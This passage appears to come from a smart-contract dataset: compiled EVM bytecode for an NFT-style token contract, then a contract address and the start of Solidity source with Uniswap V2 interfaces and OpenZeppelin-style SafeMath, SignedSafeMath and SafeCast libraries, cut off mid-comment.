0x608060405234801561001057600080fd5b506004361061014d5760003560e01c806370a08231116100c3578063b88d4fde1161007c578063b88d4fde1461037a578063bbaac02f14610396578063c87b56dd146103b2578063e0a80853146103e2578063e985e9c5146103fe578063f2fde38b1461042e5761014d565b806370a08231146102ca578063715018a6146102fa5780638cc54e7f146103045780638da5cb5b1461032257806395d89b4114610340578063a22cb4651461035e5761014d565b806323b872dd1161011557806323b872dd1461020a57806342842e0e14610226578063518302271461024257806355f804b3146102605780636352211e1461027c5780636c0360eb146102ac5761014d565b806301ffc9a71461015257806306fdde0314610182578063081812fc146101a0578063095ea7b3146101d057806318160ddd146101ec575b600080fd5b61016c600480360381019061016791906122d3565b61044a565b6040516101799190612595565b60405180910390f35b61018a61052c565b60405161019791906125b0565b60405180910390f35b6101ba60048036038101906101b59190612376565b6105be565b6040516101c7919061252e565b60405180910390f35b6101ea60048036038101906101e59190612266565b61063a565b005b6101f4610745565b6040516102019190612632565b60405180910390f35b610224600480360381019061021f9190612150565b61075c565b005b610240600480360381019061023b9190612150565b61076c565b005b61024a61078c565b6040516102579190612595565b60405180910390f35b61027a6004803603810190610275919061232d565b61079f565b005b61029660048036038101906102919190612376565b610835565b6040516102a3919061252e565b60405180910390f35b6102b461084b565b6040516102c191906125b0565b60405180910390f35b6102e460048036038101906102df91906120e3565b6108d9565b6040516102f19190612632565b60405180910390f35b6103026109a9565b005b61030c610a31565b60405161031991906125b0565b60405180910390f35b61032a610abf565b604051610337919061252e565b60405180910390f35b610348610ae9565b60405161035591906125b0565b60405180910390f35b61037860048036038101906103739190612226565b610b7b565b005b610394600480360381019061038f91906121a3565b610cf3565b005b6103b060048036038101906103ab919061232d565b610d6f565b005b6103cc60048036038101906103c79190612376565b610e05565b6040516103d991906125b0565b60405180910390f35b6103fc60048036038101906103f791906122a6565b610fde565b005b61041860048036038101906104139190612110565b611077565b6040516104259190612595565b60405180910390f35b610448600480360381019061044391906120e3565b61110b565b005b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916148061051557507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80610525575061052482611226565b5b9050919050565b60606002805461053b90612888565b80601f016020809104026020016040519081016040528092919081815260200182805461056790612888565b80156105b45780601f10610589576101008083540402835291602001916105b4565b820191906000526020600020905b81548152906001019060200180831161059757829003601f168201915b5050505050905090565b60006105c982611290565b6105ff576040517fcf4700e400000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6006600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b600061064582610835565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156106ad576040517f943f7b8c00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166106cc6112de565b73ffffffffffffffffffffffffffffffffffffffff16141580156106fe57506106fc816106f76112de565b611077565b155b15610735576040517fcfb3b94200000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6107408383836112e6565b505050565b600061074f611398565b6001546000540303905090565b6107678383836113a1565b505050565b61078783838360405180602001604052806000815250610cf3565b505050565b600b60009054906101000a900460ff1681565b6107a76112de565b73ffffffffffffffffffffffffffffffffffffffff166107c5610abf565b73ffffffffffffffffffffffffffffffffffffffff161461081b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610812906125f2565b60405180910390fd5b8060099080519060200190610831929190611eb4565b5050565b600061084082611892565b600001519050919050565b6009805461085890612888565b80601f016020809104026020016040519081016040528092919081815260200182805461088490612888565b80156108d15780601f106108a6576101008083540402835291602001916108d1565b820191906000526020600020905b8154815290600101906020018083116108b457829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610941576040517f8f4eb60400000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900467ffffffffffffffff1667ffffffffffffffff169050919050565b6109b16112de565b73ffffffffffffffffffffffffffffffffffffffff166109cf610abf565b73ffffffffffffffffffffffffffffffffffffffff1614610a25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1c906125f2565b60405180910390fd5b610a2f6000611b21565b565b600a8054610a3e90612888565b80601f0160208091040260200160405190810160405280929190818152602001828054610a6a90612888565b8015610ab75780601f10610a8c57610100808354040283529160200191610ab7565b820191906000526020600020905b815481529060010190602001808311610a9a57829003601f168201915b505050505081565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060038054610af890612888565b80601f0160208091040260200160405190810160405280929190818152602001828054610b2490612888565b8015610b715780601f10610b4657610100808354040283529160200191610b71565b820191906000526020600020905b815481529060010190602001808311610b5457829003601f168201915b5050505050905090565b610b836112de565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610be8576040517fb06307db00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b8060076000610bf56112de565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff16610ca26112de565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3183604051610ce79190612595565b60405180910390a35050565b610cfe8484846113a1565b610d1d8373ffffffffffffffffffffffffffffffffffffffff16611203565b8015610d325750610d3084848484611be7565b155b15610d69576040517fd1a57ed600000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b50505050565b610d776112de565b73ffffffffffffffffffffffffffffffffffffffff16610d95610abf565b73ffffffffffffffffffffffffffffffffffffffff1614610deb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de2906125f2565b60405180910390fd5b80600a9080519060200190610e01929190611eb4565b5050565b606060001515600b60009054906101000a900460ff1615151415610eb557600a8054610e3090612888565b80601f0160208091040260200160405190810160405280929190818152602001828054610e5c90612888565b8015610ea95780601f10610e7e57610100808354040283529160200191610ea9565b820191906000526020600020905b815481529060010190602001808311610e8c57829003601f168201915b50505050509050610fd9565b610ebe82611290565b610efd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef490612612565b60405180910390fd5b600060098054610f0c90612888565b80601f0160208091040260200160405190810160405280929190818152602001828054610f3890612888565b8015610f855780601f10610f5a57610100808354040283529160200191610f85565b820191906000526020600020905b815481529060010190602001808311610f6857829003601f168201915b505050505090506000815111610faa5760405180602001604052806000815250610fd5565b80610fb484611d47565b604051602001610fc59291906124ff565b6040516020818303038152906040525b9150505b919050565b610fe66112de565b73ffffffffffffffffffffffffffffffffffffffff16611004610abf565b73ffffffffffffffffffffffffffffffffffffffff161461105a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611051906125f2565b60405180910390fd5b80600b60006101000a81548160ff02191690831515021790555050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b6111136112de565b73ffffffffffffffffffffffffffffffffffffffff16611131610abf565b73ffffffffffffffffffffffffffffffffffffffff1614611187576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117e906125f2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156111f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ee906125d2565b60405180910390fd5b61120081611b21565b50565b6000808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b60008161129b611398565b111580156112aa575060005482105b80156112d7575060046000838152602001908152602001600020600001601c9054906101000a900460ff16155b9050919050565b600033905090565b826006600084815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550818373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a4505050565b60006001905090565b60006113ac82611892565b90506000816000015173ffffffffffffffffffffffffffffffffffffffff166113d36112de565b73ffffffffffffffffffffffffffffffffffffffff161480611406575061140582600001516114006112de565b611077565b5b8061144b57506114146112de565b73ffffffffffffffffffffffffffffffffffffffff16611433846105be565b73ffffffffffffffffffffffffffffffffffffffff16145b905080611484576040517f59c896be00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b8473ffffffffffffffffffffffffffffffffffffffff16826000015173ffffffffffffffffffffffffffffffffffffffff16146114ed576040517fa114810000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611554576040517fea553b3400000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6115618585856001611ea8565b61157160008484600001516112e6565b6001600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a900467ffffffffffffffff160392506101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055506001600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a900467ffffffffffffffff160192506101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550836004600085815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550426004600085815260200190815260200160002060000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055506000600184019050600073ffffffffffffffffffffffffffffffffffffffff166004600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611822576000548110156118215782600001516004600083815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555082602001516004600083815260200190815260200160002060000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055505b5b50828473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a461188b8585856001611eae565b5050505050565b61189a611f3a565b6000829050806118a8611398565b111580156118b7575060005481105b15611aea576000600460008381526020019081526020016000206040518060600160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016000820160149054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815260200160008201601c9054906101000a900460ff16151515158152505090508060400151611ae857600073ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff16146119cc578092505050611b1c565b5b600115611ae757818060019003925050600460008381526020019081526020016000206040518060600160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016000820160149054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815260200160008201601c9054906101000a900460ff1615151515815250509050600073ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff1614611ae2578092505050611b1c565b6119cd565b5b505b6040517fdf2d9b4200000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b919050565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008373ffffffffffffffffffffffffffffffffffffffff1663150b7a02611c0d6112de565b8786866040518563ffffffff1660e01b8152600401611c2f9493929190612549565b602060405180830381600087803b158015611c4957600080fd5b505af1925050508015611c7a57506040513d601f19601f82011682018060405250810190611c779190612300565b60015b611cf4573d8060008114611caa576040519150601f19603f3d011682016040523d82523d6000602084013e611caf565b606091505b50600081511415611cec576040517fd1a57ed600000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614915050949350505050565b60606000821415611d8f576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050611ea3565b600082905060005b60008214611dc1578080611daa906128eb565b915050600a82611dba919061276d565b9150611d97565b60008167ffffffffffffffff811115611ddd57611ddc612a21565b5b6040519080825280601f01601f191660200182016040528015611e0f5781602001600182028036833780820191505090505b5090505b60008514611e9c57600182611e28919061279e565b9150600a85611e379190612934565b6030611e439190612717565b60f81b818381518110611e5957611e586129f2565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a85611e95919061276d565b9450611e13565b8093505050505b919050565b50505050565b50505050565b828054611ec090612888565b90600052602060002090601f016020900481019282611ee25760008555611f29565b82601f10611efb57805160ff1916838001178555611f29565b82800160010185558215611f29579182015b82811115611f28578251825591602001919060010190611f0d565b5b509050611f369190611f7d565b5090565b6040518060600160405280600073ffffffffffffffffffffffffffffffffffffffff168152602001600067ffffffffffffffff1681526020016000151581525090565b5b80821115611f96576000816000905550600101611f7e565b5090565b6000611fad611fa884612672565b61264d565b905082815260208101848484011115611fc957611fc8612a55565b5b611fd4848285612846565b509392505050565b6000611fef611fea846126a3565b61264d565b90508281526020810184848401111561200b5761200a612a55565b5b612016848285612846565b509392505050565b60008135905061202d81612b65565b92915050565b60008135905061204281612b7c565b92915050565b60008135905061205781612b93565b92915050565b60008151905061206c81612b93565b92915050565b600082601f83011261208757612086612a50565b5b8135612097848260208601611f9a565b91505092915050565b600082601f8301126120b5576120b4612a50565b5b81356120c5848260208601611fdc565b91505092915050565b6000813590506120dd81612baa565b92915050565b6000602082840312156120f9576120f8612a5f565b5b60006121078482850161201e565b91505092915050565b6000806040838503121561212757612126612a5f565b5b60006121358582860161201e565b92505060206121468582860161201e565b9150509250929050565b60008060006060848603121561216957612168612a5f565b5b60006121778682870161201e565b93505060206121888682870161201e565b9250506040612199868287016120ce565b9150509250925092565b600080600080608085870312156121bd576121bc612a5f565b5b60006121cb8782880161201e565b94505060206121dc8782880161201e565b93505060406121ed878288016120ce565b925050606085013567ffffffffffffffff81111561220e5761220d612a5a565b5b61221a87828801612072565b91505092959194509250565b6000806040838503121561223d5761223c612a5f565b5b600061224b8582860161201e565b925050602061225c85828601612033565b9150509250929050565b6000806040838503121561227d5761227c612a5f565b5b600061228b8582860161201e565b925050602061229c858286016120ce565b9150509250929050565b6000602082840312156122bc576122bb612a5f565b5b60006122ca84828501612033565b91505092915050565b6000602082840312156122e9576122e8612a5f565b5b60006122f784828501612048565b91505092915050565b60006020828403121561231657612315612a5f565b5b60006123248482850161205d565b91505092915050565b60006020828403121561234357612342612a5f565b5b600082013567ffffffffffffffff81111561236157612360612a5a565b5b61236d848285016120a0565b91505092915050565b60006020828403121561238c5761238b612a5f565b5b600061239a848285016120ce565b91505092915050565b6123ac816127d2565b82525050565b6123bb816127e4565b82525050565b60006123cc826126d4565b6123d681856126ea565b93506123e6818560208601612855565b6123ef81612a64565b840191505092915050565b6000612405826126df565b61240f81856126fb565b935061241f818560208601612855565b61242881612a64565b840191505092915050565b600061243e826126df565b612448818561270c565b9350612458818560208601612855565b80840191505092915050565b60006124716026836126fb565b915061247c82612a75565b604082019050919050565b600061249460058361270c565b915061249f82612ac4565b600582019050919050565b60006124b76020836126fb565b91506124c282612aed565b602082019050919050565b60006124da602f836126fb565b91506124e582612b16565b604082019050919050565b6124f98161283c565b82525050565b600061250b8285612433565b91506125178284612433565b915061252282612487565b91508190509392505050565b600060208201905061254360008301846123a3565b92915050565b600060808201905061255e60008301876123a3565b61256b60208301866123a3565b61257860408301856124f0565b818103606083015261258a81846123c1565b905095945050505050565b60006020820190506125aa60008301846123b2565b92915050565b600060208201905081810360008301526125ca81846123fa565b905092915050565b600060208201905081810360008301526125eb81612464565b9050919050565b6000602082019050818103600083015261260b816124aa565b9050919050565b6000602082019050818103600083015261262b816124cd565b9050919050565b600060208201905061264760008301846124f0565b92915050565b6000612657612668565b905061266382826128ba565b919050565b6000604051905090565b600067ffffffffffffffff82111561268d5761268c612a21565b5b61269682612a64565b9050602081019050919050565b600067ffffffffffffffff8211156126be576126bd612a21565b5b6126c782612a64565b9050602081019050919050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b60006127228261283c565b915061272d8361283c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561276257612761612965565b5b828201905092915050565b60006127788261283c565b91506127838361283c565b92508261279357612792612994565b5b828204905092915050565b60006127a98261283c565b91506127b48361283c565b9250828210156127c7576127c6612965565b5b828203905092915050565b60006127dd8261281c565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b83811015612873578082015181840152602081019050612858565b83811115612882576000848401525b50505050565b600060028204905060018216806128a057607f821691505b602082108114156128b4576128b36129c3565b5b50919050565b6128c382612a64565b810181811067ffffffffffffffff821117156128e2576128e1612a21565b5b80604052505050565b60006128f68261283c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561292957612928612965565b5b600182019050919050565b600061293f8261283c565b915061294a8361283c565b92508261295a57612959612994565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008201527f6e6578697374656e7420746f6b656e0000000000000000000000000000000000602082015250565b612b6e816127d2565b8114612b7957600080fd5b50565b612b85816127e4565b8114612b9057600080fd5b50565b612b9c816127f0565b8114612ba757600080fd5b50565b612bb38161283c565b8114612bbe57600080fd5b5056fea26469706673582212206922969651585570bc190705f454746fc9877e4adc42f3eaa14a3eff76acc66264736f6c63430008070033
[ 7, 5 ]
0xf32c805c81cdfebbec6939427120fd3a6e08f1a4
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SignedSafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SignedSafeMath { /** * @dev Returns the multiplication of two signed integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { return a * b; } /** * @dev Returns the integer division of two signed integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(int256 a, int256 b) internal pure returns (int256) { return a / b; } /** * @dev Returns the subtraction of two signed integers, reverting on * overflow. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { return a - b; } /** * @dev Returns the addition of two signed integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { return a + b; } } // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } /** * @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow * checks. * * Downcasting from uint256/int256 in Solidity does not revert on overflow. This can * easily result in undesired exploitation or bugs, since developers usually * assume that overflows raise errors. `SafeCast` restores this intuition by * reverting the transaction when such an operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. * * Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing * all math on `uint256` and `int256` and then downcasting. */ library SafeCast { /** * @dev Returns the downcasted uint224 from uint256, reverting on * overflow (when the input is greater than largest uint224). * * Counterpart to Solidity's `uint224` operator. * * Requirements: * * - input must fit into 224 bits */ function toUint224(uint256 value) internal pure returns (uint224) { require(value <= type(uint224).max, "SafeCast: value doesn't fit in 224 bits"); return uint224(value); } /** * @dev Returns the downcasted uint128 from uint256, reverting on * overflow (when the input is greater than largest uint128). * * Counterpart to Solidity's `uint128` operator. * * Requirements: * * - input must fit into 128 bits */ function toUint128(uint256 value) internal pure returns (uint128) { require(value <= type(uint128).max, "SafeCast: value doesn't fit in 128 bits"); return uint128(value); } /** * @dev Returns the downcasted uint96 from uint256, reverting on * overflow (when the input is greater than largest uint96). * * Counterpart to Solidity's `uint96` operator. * * Requirements: * * - input must fit into 96 bits */ function toUint96(uint256 value) internal pure returns (uint96) { require(value <= type(uint96).max, "SafeCast: value doesn't fit in 96 bits"); return uint96(value); } /** * @dev Returns the downcasted uint64 from uint256, reverting on * overflow (when the input is greater than largest uint64). * * Counterpart to Solidity's 